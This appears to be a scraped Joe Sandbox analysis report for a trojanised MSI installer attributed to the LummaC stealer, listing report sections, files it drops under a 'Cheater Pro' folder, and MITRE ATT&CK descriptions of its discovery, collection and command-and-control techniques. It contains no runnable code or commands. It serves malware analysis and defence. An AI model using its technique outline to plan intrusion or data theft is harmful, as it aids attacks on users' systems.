Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Config.Msi\6b20ee.rbs

C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe

C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\file

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\connect.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nzct1p[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\json[1].json

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\nzct1p[1]

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\MSI1005.tmp

C:\Users\user\AppData\Local\Temp\MSI1083.tmp

C:\Users\user\AppData\Local\Temp\MSI10B3.tmp

C:\Users\user\AppData\Local\Temp\MSI10D3.tmp

C:\Users\user\AppData\Local\Temp\MSI10F3.tmp

C:\Users\user\AppData\Local\Temp\MSI1123.tmp

Windows Analysis Report
SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre